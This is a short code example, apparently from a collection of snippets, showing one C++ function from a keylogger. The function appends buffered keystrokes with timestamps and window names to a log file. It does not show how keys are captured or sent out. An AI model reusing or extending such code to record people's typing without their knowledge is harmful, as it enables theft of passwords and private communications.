Example #1
0
void	WriteKeyLogger(GString Name)
{
	if (!_map[Name].IsEmpty())
	{
		GFile f(_path + _fileName);
		f.Open(true);
		if (!f.IsOpen())
			return ;
		GDateTime d;
		f.GoToEnd();
		f.Write(d.GetDateTime("%dd/%MM/%yyyy %hh:%mm:%ss - "));
		f.Write(Name.LeftJustified(25) + "- " + _map[Name] + "\r\n");
		_map.EraseKey(Name);
		f.Close();
	}
}